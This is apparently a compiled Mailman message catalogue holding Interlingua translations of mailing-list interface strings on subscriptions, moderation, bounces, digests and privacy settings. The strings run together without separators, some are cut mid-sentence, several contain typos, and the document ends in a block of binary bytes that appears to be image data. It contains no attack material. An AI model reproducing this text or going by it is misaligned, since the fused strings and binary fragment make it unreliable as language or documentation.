            membrato.

            <p>Tu pote controlar e le
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings">numero
            de rememorationes</a> que le membro va reciper, e le
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings_interval"
            >frequentia</a> per le qual iste rememorationes es inviate.

            <p>Il ha un altere, importante variabile de configuration; post
            un certe periodo de tempore - durante le qual nulle rebattimento del membro
            es recipite - le information de rebattimento es
            <a href="?VARHELP=bounce/bounce_info_stale_after">considerate
            vetule</a> e delite.  Assi, per adjustar iste valor e le
            limine de punctos, tu pote controlar quanto rapidemente membros de rebattimento es
            disactivate.  Tu debe regular ambe istos al frequentia e
            volumine de traffico de tu lista.TertieIste description es usate quando le lista de correspondentia es listate con
                altere listas de correspondentia o in capites etc.  Illo debe
                esser si succincte como possibile ma ancora identificante
                le lista.Isto es %(also)sun lista celate, lo que significa que
            le lista de membros solmente es accessibile pro le administrator del lista.Isto es %(also)sun lista private, lo que significa que
            le lista del membros non es visibile per non-membros.Isto es %(also)sun lista public, lo que significa que
            le lista de mrmbros es accessibile pro tote le mundo.Isto es un lista claudite, lo que significa que tu abonamento
            debe esser approvate.  Tu essera notificate per e-posta
            super le decision del moderator.Isto es le natural lingua standard de iste lista de correspondentia.
             Si <a href="?VARHELP=language/available_languages">plus que un
             lingua</a> es supportate, usatores debe poter seliger lor
             proprie preferentias de quando interager con le lista.  Tote altere
             interactiones essera conducite in le lingua standard.  Isto
             applica a e messages de Internet e de e-posta ma non a
             e-posta inviate per membros del lista.Iste listaIste lista non supporta livration in summario.Iste lista ha nulle membros.Iste lista es limitate; tu message non esseva approbate.Iste lista supporta solmente livration in summario.Iste lista solmente supporta abonamentos de summarios!Iste pagina te permitte, como proprietario, de remover permanentemente
    iste lista del systema.  <strong>Iste action es irreversibile</strong>
    ergo tu debe facer lo solmente si tu es absolutemente certe que
    iste lista ha servite su objectivos e non es plus necessari.

    <p>Nota que nulle advertimento essera inviate al membros del lista e
    poste iste action omne messages inviate al lista list o a alicun de su adresses
    administrative essera rebattite.

    <p>Tu ha etiam le option de remover simultaneemente le archivos del lista.
    On recommenda que tu <strong>non</strong> remove le archivos, post que
    illos servi como registration historic de tu lista.

    <p>Pro securitate, tu debera reconfirmar le contrasigno del lista.
    Iste section te permitte de configurar le regulas de
            exposition del abonatos.  Tu pote etiam controlar si iste lista
            es public o non.  Vide etiam le section
            <a href="%(admin)s/archive">Optiones de Archivation</a> pro
            configurationes de privacy separate pro le archivation.Iste section te permitte de configurar varie filtros
            anti-spam, que pote servir a reducer le amonta de spam
            que le abonatos recipera.
            Iste section te permitte de configurar varie filtros in base al
            destinatario del message.Iste definition determina le politica de moderation del gruppo
             de novas e su interaction con le politica de moderation del
             lista de correspondentia.  Isto se applica solmente al gruppo
             al qual le ponte <em>invia</em> le messages, ergo si tu ponte
             solmente parti <em>de</em> Usenet, o le gruppo de novas non es
             moderate, pone iste option a <em>Nulle</em>.

             <p>Si le gruppo es moderate, tu pote render iste lista le
             adresse de moderation del gruppo.  Per selectionar
             <em>Moderate</em>, un stato de suspension additional essera
             addite al processo de approbation.  Tote messages inviate al
             lista debera esser approbate ante apparer in le gruppo de novas
             o attinger le abonatos del lista.

             <p><em>Nota que si le message ha un capite <tt>Approved</tt>
             con le valor del contrasigno administrative del lista, le test
             essera saltate, ergo on permittera a mittentes privilegiate de
             inviar messages directemente al lista e al gruppo.</em>

             <p>In fin, si le gruppo es moderato ma tu vole comocunque haber
             un politica de invio aperte, tu pote selectionar <em>Lista
             aperite, gruppo moderate</em>.  Le effecto essera que on usara
             le usual comportamento de Mailman, ma tote messages reinviate
             al gruppo de novas habera le capite <tt>Approved</tt> addite.Iste texto va esser placiate ante le linea de subjecto de messages
             postate al lista pro distinguer messages de listas de correspondentia in
             le summarios del cassa postal.  Brevitate es eminente ci, il es in ordine abbreviar
             longe nomines de listas a qualcosa plus concise, si longe que illo
             continua identificar le lista de correspondentia.
             Tu pote anque adder un numero continuante per directiva %%d de
             substitution, p.ex. [listname %%d] -> [listname 123]
                            (listname %%05d) -> (listname 00123)
             Iste valos pote esser le nomine de tu servitor de novas, o
             optionalmente in le formato nomine:porto, ubi porto es un
             numero de porto.

             Le servitor de novas non es parte de Mailman.  Tu debe jam
             haber accesso a un servitor NNTP, e illo debe recognoscer le
             machina que hospita Mailman como un machina abilitate al
             lectura e al postage de novas.Iste valor, si ulle, essera addite al initio del
             message de benvenita a nove abonatos.  Le resto del message de benvenita
             ja describe le adresses e ligamines importante pro le
             lista de correspondentia, dunque tu non besonia includer ulle de tal
             information ci.  Isto debe continer solmente informationes specific
             como politicas de etiquette o orientation de equias o tal typo
             de cosas.

             <p>Nota que iste texto essera adjustate secundo
             le regulas sequente:
             <ul><li>Cata paragrapho es plenate assi que nulle linea es plus longe
                     que 70 signos.
                 <li>Un linea que comencia con un blanco non es plenate.
                 <li>Un linea blanc separa paragraphos.
             </ul>JovPro finir crear tu lista de correspondentia, tu debe rediger tu file de /etc/aliases (o
o equivalente) per adder le lineas sequente e possibilemente executar le
programma `newaliases':
Pro disabonar te de %(realname)s, obtene un rememoration del contrasigno,
        o cambia le preferentias de tu abonamento %(either)s insere le adresse de e-posta
        de tu abonamento:
        <p><center> Pro visitar le paginas administrative de un lista non publicate,
        aperi un URL simile a iste, ma con un '/' e le %(extra)snomine
        del lista addite al fin.  Si tu ha le permission necessari,
        tu pote etiam <a href="%(creatorurl)s">crear un nove lista</a>.

        <p>Informationes general super listas es disponibile a Themas de hodie (%(msgcount)d messages)Themas de hodie:
Troppo multe receptores del messageArgumento %(i)dDetalios de filtro de themasParolas clave de themas, uno pro linea, a cercar in cata message.Nomine del argumento:Le specification de un thema require sia un nomine
                sia un patrono.  Themas incomplete essera ignorate.TopicosMarturcoDisactiva isto, si tu planifica abonar personas manualmente
             e non desira que illes lo sape.  Iste option es plus
             usabile pro migrar transparentemente listas de alcun altere programma de administration
             de listas de correspondentia a Mailman.Activa isto, si tu desira rememorationes de contrasignos expedite un vice
             per mense a tu membros.  Nota que membros pote disactivar
             lor prorie rememorationes individual de contrasignos.UukrainianoPreferentias de lista de parapluviaNotification de rebattimento non-capturateLingua incognoscite: %(lang)sHospite virtual incognite: %(safehostname)sDisabona meDisabona te o redige optionesRequestas de disabonamentoRequesta de disabonamentoRequesta de disabonamento confirmateRequesta de disabonamento succedite.Resultatos del disabonamentoActualisante HTML pro le articulo %(seq)sActualisante files de indice pro le archivo [%(archive)s]Usage:Usa iste option pro prohibir le postage in base al valor
             de alicun capites.  Le valor a inserer es un expression regular
             a comparar con le capite specificate.  In le comparation on
             ignora le capitalisation.  Lineas initiante per '#' es ignorate
             como commentos.

             <p>Pro exemplo:<pre>to: .*@public.com </pre> dice de bloccar
             tote messages habente in le capite <em>To:</em> le texto
             '@public.com' in qualcunque parte.

             <p>Nota que spatios blanc al initio es eliminate dal regexp.
             Isto pote esser superate in multe modos, p.ex. con un escape o
             con parentheses.Usa iste option pro remover cata attachamento de message que
             corresponde a un de iste typos de contento.  Cata linea debe continer un
             catena acclarante un <tt>typo/subtypo</tt> de MIME,
             p.ex. <tt>image/gif</tt>.  Non tocca le subtypo significa remover tote
             partes con un correspondente typo de contento major, p.ex. <tt>image</tt>.

             <p>Lineas blanc es ignorate.

             <p>Vide anque <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a> pro un lista blanc de typos de contento.Usa iste option pro remover cata attachamento de message que non ha
             un correspondente typo de contento.  Requirimentos e formatos es
             exactemente como <a href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>.

             <p><b>Nota:</b> Si tu adde entratas a iste lista ma non adde
             <tt>multipart</tt> a iste lista, ulle message con attachamentos
             va esser refusate per le filtro de passage.Usator `%(addr)s' removite del lista: %(listname)s.Adresse/nomine del usatorPagina de optiones specific pro le utenteValorVide o edita le informationes de configuration del lista.Vide iste pagina inVisita le lista del abonatosVisita le lista del abonatosVisitar le pagina de administration del listaVisitar le pagina de information del listaAttention! Tu pote incontrar problemas de permission.Attention: Pardono, ma tu ja ha essite disabonate de iste lista.
        Pro reabonar te, per favor visita le
        <a href="%(listinfourl)s">pagina de informationes del lista</a>.MerSeptimanalFile de texto pro le benvenitaBenvenite al lista "%(realname)s"%(digmode)sBenvenite!Qual passos es demandate pro abonamento?<br>Quando "umbrella_list" es fixate a indicar que iste lista ha
             altere listas como membros, notitias administrative como
             confirmationes e rememorationes de contrasignos non debe esser inviate al
             adresses de membros al lista ma plus tosto al possessor de iste listas
             de membros.  In tal caso, le valor de iste preferentia es appendite al
             nomine del conto del membro pro tal notitias.  `-owner' es le
             selection typic.  Iste preferentia ha nulle effecto, quando "umbrella_list"
             es "No".Quando <a href="?VARHELP=nondigest/personalize">personalisation</a> es activate
pro iste lista, additional variabiles de substitution es permittite in le capites
e pedes:

<ul><li><b>user_address</b> - Le adresse del usator,
        fortiate a minusculas.
    <li><b>user_delivered_to</b> - Le adresse preservate con majusculas
        /minusculas que le usator indicava al abonamento.
    <li><b>user_password</b> - Le contrasigno del usator.
    <li><b>user_name</b> - Le plen nomine del usator.
    <li><b>user_optionsurl</b> - Le adresse al pagina de preferentias
        del usator.
</ul>
Quando un message es inviate al lista, un serie de
            passos de moderation es prendite pro decider, si le moderator debe
            primo approbar le message o non.  Iste section contine le
            controlos pro moderar e invios de membros e de non-membros.

            <p>Invios de membros es tenite pro moderation, si lor
            <b>marca de moderation</b> es activate.  On pote controlar, si
            invios de membros es moderate como standard o non.

            <p>Invios de non-membros pote automaticamente esser
            <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
            >acceptate</a>,
            <a href="?VARHELP=privacy/sender/hold_these_nonmembers">tenite pro
            moderation</a>,
            <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
            >rejectate</a> (rebattite), o
            <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
            >discartate</a>,
            o individualmente o como un gruppo.  Ulle
            invios de un non-membro que non es explicitemente acceptate,
            rejectate o discartate, videra lor invios filtrate per le
            <a href="?VARHELP=privacy/sender/generic_nonmember_action">general
            regulas pro non-membros</a>.

            <p>In le cassas textual infra, adde un adresse per linea; comencia le
            linea con un signo ^ pro designar un <a href=
            "http://docs.python.org/library/re.html"
            >expression Python regular</a>.  Scribe barras inverse como si
            usar catenas rude de Python (i.e. on generalmente usa
            solmente un singule barra inverse).

            <p>Nota que corresponentias non-regexp sempre es facite primo.Quando un nove volumine de summario es comenciate, le numero del volumine es
             incrementate, e le numero del edition es recomenciate a 1.Quando un nove membro se abona a iste lista, le serie de
             preferentias initial es prendite del preferentias de iste variabile.Quando un message de un non-abonatos es recipite, le mittente
             es comparate con le lista del adresses explicitemente
             <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
             >acceptate</a>,
             <a href="?VARHELP=privacy/sender/hold_these_nonmembers"
             >suspendite</a>,
             <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
             >rejectate</a> (rebattite), e
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >discartate</a>.  Si nulle correspondentia es realisate,
             on prende iste action.Quando membros desira disabonar se del lista, illes invia un
             requesta de disabonamento, o via Internet o via e-posta.
             Normalmente le melior es que tu permitte abonamentos aperte assi
             que usatores pote facilemente remover se mesme del listas (illes es
             multo irritate, si illes non pote disabonar se de listas!).

             <p>Pro certe listas, tu pote demandar le approbamento del
             moderator ante que un disabonamento es processate.  Exemplos
             de tal listas include un lista de correspondentia de un firma que al qual omne
             debe abonar se.Recipente summarios, qual formato es standard?Quando fixate, le lista de abonatos es protegite per authentication de
             contrasigno del membros o del administrator.Activante iste option, tote traffico del lista es moderate de
             emergentia, i.e. mantenite pro moderation.  Activa iste option,
             si tu lista experientia un fluxo de messages, e tu desira un periodo de
             reposo.Quando tu ha finite le cambiamentos...Quando tu remove attachamentos, illos es conservate in le area del
             archivo, e ligamines es create in le message assi que le membro pote
             acceder lo via Internet. Si tu desira remover le attachamentos
             totalmente, tu pote usar preferentias de filtros de contento.Quando tu demanda a Mailman de controlar le gruppo de novas,
             isto significa que tu desira startar transferer messages al lista de
             correspondentia con le proxime nove message trovate.  Omne messages anterior del
             gruppo de novas essera ignorate.  Isto es, como si tu legerea
             le gruppo de novas mesme, e tu marcarea tote le messages actual como
             <em>legite</em>.  Per controlar, le membros de tu lista de correspondentia non
             videra ulle message anterior.A ubi debe omne responsas al messages del lista esser dirigite?
             <tt>Poster</tt> es <em>fortemente</em> recommendate pro le majoritate de
             listas de correspondentia.Qual maniera de livramento es le standard pro nove usatores?Mesmo si le derector de rebattimento de Mailman es assatis robuste,
             il es impossibile deteger cata formato de rebattimento in le mundo.  Tu
             debe fixar iste variabile a <em>Si</em> pro duo rationes: 1)
             Si isto es un rebattimento permanente de un de tu membros,
             tu debe probabilemente remover le manualmente de tu lista, e 2)
             tu forsan desira inviar le message al developpatores de Mailman
             a fin que iste nove formato pote esser addite al lista.

             <p>Si il vermente non te interessa, fixa iste variabile a
             <em>No</em> omne rebattimentos non-detegite va esser delite
             sin processamento ulterior.

             <p><b>Nota:</b> Iste function va anque haber effecto a omne messages inviate
             al adresse del -admin de tu lista.  Iste adresse es sparniate e
             non debe esser usate jammais, ma certe personas pote inviar messages a iste
             adresse.  Si isto occurre, e iste variabile ha essite fixate a
             <em>No</em> anque iste messages essera delite.  Tu pote desirar
             crear un message de
             <a href="?VARHELP=autoreply/autoresponse_admin_text">autoresponse
             </a> pro e-posta al adresses del -owner (possessor) e -admin (administrator).Qui pote vider le lista de abonatos?AnnualSiSi, con delerSi, con re-inviarTu ja es un membro de iste lista!Tu ja es un abonato!Tu es jam abonate.Tu jam usa iste adresse de e-postaIl ha essite prohibite pro te inviar messages a iste lista.Tu non es un membro del lista de correspondentia %(listname)sTu non es permittite inviar messages a iste lista de correspondentia, e tu message ha essite
rejectate automaticamente.  Si tu crede que tu messages es rejectate per error,
contacta le possessor del lista de correspondentia a %(listowner)s.Tu non es permittite obtener le lista del membros.Tu non es autorisate a crear nove listas de correspondentiaTu non es authorisate a eliminar iste listaTu actualmente non es un membro. Esque tu jam te disabonava o cambiava
tu adresse email?Tu pote acceder a tu optiones personal per le url:Tu pote crear un nove lista per scriber le informationes
    relevante in le campos infra.  Le nomine del lista essera usate como
    adresse primari pro le postage del messages, ergo illo deberea esser
    in minusculas.  Tu non lo potera cambiar post le creation del lista.

    <p>Tu debe etiam inserer le adresse email del proprietario initial del lista.
    Quando le lista essera create, le proprietario essera notificate, e recipera le
    contrasigno initial.  Ille postea lo potera modificar e adder o remover altere
    proprietarios additional.

    <p>Si tu vole que Mailman genera automaticamente le contrasigno initial
    pro le administrator, clicca `Si' in le campo auto-genera infra, e lassa vacue
    le campos del contrasigno initial del lista.

    <p>Tu debe haber un valide authorisation pro crear nove listas.
    Omne sito debe haber un contrasigno del <em>creator del lista</em>, que tu pote
    inserer in le campo al fundo.  Nota que le contrasigno del administrator
    pote etiam esser usate pro le authentication.
    On non pote adder un Reply-To: a un adresse
            explicite, si ille adresse es blanc.  Remonta iste valores.Tu non pote activar **gatewaying** si non ambe le
                <a href="?VARHELP=gateway/nntp_host">quadros del servitor de novas</a> e
                the <a href="?VARHELP=gateway/linked_newsgroup">quadros ligate
                gruppo de novas</a> ha essite plenate.Tu non indicava le correcte contrasigno ancian, dunque tu contrasigno non ha essite
cambiate.  Usa le version sin indication del commando de contrasigno pro recuperar tu
contrasigno actual, alora essaya de novo.Tu non scribeva le contrasigno correcteTu oblidava scriber le nomine del listaTu oblidava specificar le proprietario del listaTu scribeva le mal contrasignoTu ha essite abonate con successo al lista %(realname)s.Tu ha essite disabonate con successo del lista %(fqdn_listname)s.
            Si tu recipeva summarios, tu forsan va reciper ancora uno.
            Si tu ha alicun question super tu disabonamento, per favor
            contacta le proprietarios del lista a %(owneraddr)s.
Tu te ha disabonate del lista de correspondentia %(realname)sTu ha cancellate le rehabilitation del tu membrato.  Si
    nos continua a reciper notificationes de rebattimento de
    tu adresse, illo potera esser removite de iste lista.Tu ha cancellate tu requesta de cambio de adresse.Tu ha cancellate tu requesta de abonamento.Tu ha cancellate tu requesta de disabonamento.Alcun abonatos de tu lista ha optate pro reciper
                summarios, ma le livration de summarios es
                inactive.  Iste personas non recipera posta.Tu ha membros regular al lista ma messages non summarisate
                es inactive.  Illes recepira posta normal usque quando
                tu corrigera le problema.Tu ha create con successo le lista de correspondentia
    <b>%(listname)s</b> e un notification ha essite inviate al    proprietario del lista <b>%(owner)s</b>.  Nunc tu pote:Tu ha eliminate con successo le lista
    <b>%(listname)s</b>.Tu ha editate tu optiones con successo.Tu ha inactivate simultaneemente le livration de
                messages normal e summarisate.  Iste situation es
                incompatibile.  Tu debe activar al minus un modo de
                livration o tu lista essera de facto inusabile.Tu invitava %(address)s a tu lista, ma in un
essayo deliberatemente malitiose illes essayava confirmar le invitation a un
lista differente.  Nos simplemente pensava que tu debe saper lo.  Nulle action ulterior es demandate
de te.Tu poterea reciper un ultime summario.Tu non pote abonar un lista a se mesme!Tu debe confirmar tu requesta de disabonamento per cliccar
                le cella sub le button <em>Disabona</em>. Tu
                ancora non ha essite disabonate!Tu debe specificar le nomine de un lista.  Ecce le %(link)sTu debe specificar un lista.Tu debe specificar un adresse email valide.Tu non ha essite invitate a iste lista. Le invitation ha essite discartate,
e ambe le administratores ha essite alertate.Tu recipera un message demandante confirmation pro
            prevenir alteres a facer te un abonamento sin tu sapientia.Tu recipera un e-posta requirente confirmation pro
            prevenir que alteres te inscribe involuntarimente.  Quando
            confirmation ha essite recipite, tu requesta essera tractate pro approbation
            per le moderator del lista.  Tu essera informate super le decision
            del moderator per e-posta.Tu es un proprietario meschin!Tu <code>%(property)s</code> appare haber
                    alcun problemas corrigibile in su nove valor.
                    Le valor fixate va esser usate in vice.  Per favor,
                    controla duplemente que isto es lo que tu intendeva.
                    Tu confirmation es requirite pro cancellar le postage de
    tu message al lista <em>%(listname)s</em>:

    <ul><li><b>Expeditor:</b> %(sender)s
        <li><b>Subjecto:</b> %(subject)s
        <li><b>Ration:</b> %(reason)s
    </ul>

    Clicca le button <em>Cancella postage</em> pro discartar le message.

    <p>O selectiona <em>Continua a attender approbation</em> pro
    continuar a permitter que le moderator del lista approba o rejecta
    le message.Tu confirmation es necessari pro completar le requesta de cambio
    de adresse pro le lista <em>%(listname)s</em>.  Tu es
    currentemente abonate con

    <ul><li><b>Nomine real:</b> %(fullname)s
        <li><b>Vetule adresse de e-posta:</b> %(oldaddr)s
    </ul>

    e tu ha requirite de cambiar %(globallys)s tu adresse de e-posta a

    <ul><li><b>Nove adresse de e-posta:</b> %(newaddr)s
    </ul>

    Clicca le button <em>Cambia adresse</em> infra pro completar le processo
    de confirmation.

    <p>O selectiona <em>Cancella e discarta</em> pro cancellar iste requesta
    de cambio de adresse.Tu confirmation es requirite pro completar tu abonamento al lista
    <em>%(listname)s</em>.  Tu optiones de abonamento es monstrate infra;
    modifica los, si tu vole, e postea clicca le button <em>Abona me</em>
    pro completar le processo de confirmation.  Un vice que tu ha
    confirmate tu requesta de abonamento, tu visualisara tu pagina de
    optiones que tu pote usar pro personalisar ulteriormente tu abonamento.

    <p>Nota: tu contrasigno te essera inviate per e-posta un vice que tu abonamento
    sia confirmate.  Tu potera cambiar lo in tu pagina de optiones personal.

    <p>O selectiona <em>Cancella mi requesta de abonamento</em> si tu non plus
    vole abonar te a iste lista.Tu confirmation es requirite pro completar le requesta de
    disabonamento del lista <em>%(listname)s</em>.  Tu
    es actualmente abonate con

    <ul><li><b>Nomine real:</b> %(fullname)s
        <li><b>Adresse de e-posta:</b> %(addr)s
    </ul>

    Clicca le button <em>Disabona me</em> infra pro completar le processo
    de confirmation.

    <p>O selectiona <em>Cancella e discarta</em> pro cancellar iste requesta
    de disabonamento.Tu confirmation es requirite pro continuar le requesta de abonamento al lista
    <em>%(listname)s</em>.  Tu optiones de abonamento es monstrate infra;
    modifica los, si tu vole, e postea clicca le button <em>Abona me al lista...</em>
    pro completar le processo de confirmation.  Un vice que tu ha
    confirmate tu requesta de abonamento, le moderator debera approvar o
    rejectar lo. Tu recipera un notification super su decision.

    <p>Nota: tu contrasigno te essera inviate per e-posta un vice que tu abonamento
    sia confirmate.  Tu potera cambiar lo in tu pagina de optiones personal.

    <p>O selectiona <em>Cancella mi requesta de abonamento</em> si tu non plus
    vole abonar te a iste lista.Tu confirmation es requirite pro entrar in le lista de correspondentia %(listname)sTu confirmation es requirite pro abandonar le lista de correspondentia %(listname)sTu preferentias actual:Tu decisionTu adresse de e-posta:Tu abonamento al lista de correspondentia %(realname)s es actualmente
    dishabilitate a causa de excesso de rebattimentos.  Tu confirmation es
    requirite pro rehabilitar le livration de messages a tu adresse.  Nos
    ha le sequente information in file:

    <ul><li><b>Adresse del abonato:</b> %(member)s
        <li><b>Nomine del abonato:</b> %(username)s
        <li><b>Data del ultime rebattimento:</b> %(date)s
        <li><b>Numero approximate de dies ante tu remotion permanente
               de iste lista:</b> %(daysleft)s
    </ul>

    Clicca le button <em>Rehabilita le abonamento</em> pro recomenciar a
    reciper messages del lista. O selectiona <em>Cancella</em> pro postponer
    le rehabilitation de tu abonamento.
    Tu message ha un capite suspecte.Tu message a %(listname)s attende le approbation del moderatorTu message esseva judicate inappropriate per le moderator.Tu message esseva refusateTu message esseva troppo grande; per favor, abbrevia lo a minus de
%(kb)d KB in grandor.Tu nove contrasigno pro %(listname)sTu nove lista de correspondentia: %(listname)sTu contrasigno es: %(password)sTu contrasignos non corresponde.Tu nomine real:Tu requesta ha essite reinviate al moderator pro le abbrobation.Tu abonamento non es permittite, proque
le adresse de e-posta indicate es insecur.Tu abonamento non es permittite perque le adresse que tu dava es
insecur.Tu requesta de abonamento ha essite transmittite al administrator
del lista a %(listowner)s pro examination.Tu requesta de abonamento ha essite recipite, e tosto essera processate.
Conformemente al configuration de iste lista, tu requesta poterea requirer
un tu confirmation via email, o un approbation per le moderator del lista.
Si le confirmation es necessari, tu va reciper tosto un email de confirmation
que contine altere instructiones.Tu requesta de abonamento esseva retardate perque %(x)s.  Tu requesta
ha essite reinviate al moderator del lista. Quando ille processara tu requesta,
tu recipera un email que te informara super su decision.Tu requesta de disabonamento ha essite
                    inviate al administrator del lista pro approvation.Tu requesta de disabonamento ha essite reinviate al administrator
del lista pro approbation.Tu requesta de disabonamento ha essite recipite e inviate
            al moderatores del lista pro le approvation.  Tu recipera
            un notification post que le moderatores ha prendite lor
            decision.Tu message urgente al lista %(realname)s de correspondentia non esseva autorisate pro
livramento.  Le message original como recipite per Mailman es attachate.
[Detalios de rebattimento non disponibile][Nulle explication esseva fornite][Nulle ration fornite][description non disponibile]un unic message suspendite.conffixa option de recognoscentiapagina general de administration del listatote le messages suspendite.tote le messages suspendite de %(esender)s.etiam file de articulo %(filename)s non trovate!attributo "%(k)s" cambiateattributo "%(k)s" ignorateautorper le administratorper le administrator del listaper teper te mesmeexaminante le possessor de %(dbfile)sexaminante permissiones de %(file)sdatadiedieslivramento disactivatelivramento activatelivramento inactivelivramento activesummarionota de pede del digestocapite de digestofixa option de summariodishabilitatea causa de rebattimentosdebite a excesso de messages rebattitefixa option de duplicatosadresse de e-posta e recerca in le archivo pro iste articulopro rationes incognitede %(start)s a %(end)spagina general del listaglobalmenteoccultefixa option de celarlinguavalores admittite es:creator de listainformation del listalista del listas disponibile.nomine del lista requiriteequalante listas de correspondentia trovate:adresse del membro<br>nomine del membromembrosmodfixa option de mi messagesn/dnulle datanulle subjectosin duplessin posta<br>[ration]non disponibilesin propriesinactiveactiveoptionescontrasignotextoprivatearchivos privateprocessante le lista:publicarchivos publicfixa option de rememorationretornar al pagina de optiones de %(categoryname)s.dexteradextera sitodimension non disponibilefile de serra vetere'stop' es synonyme con le commando 'end' (fin).subjectoabonamentos a %(name)s require approbation del administratorabonamentos a %(realname)s require approbation del moderatorle pagina general del administratoresle administrator del listale pagina general del listadiscussionexpeditor incognoscitedisabonadisabonamento require approbation del moderatorvider tote messages de %(esender)s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`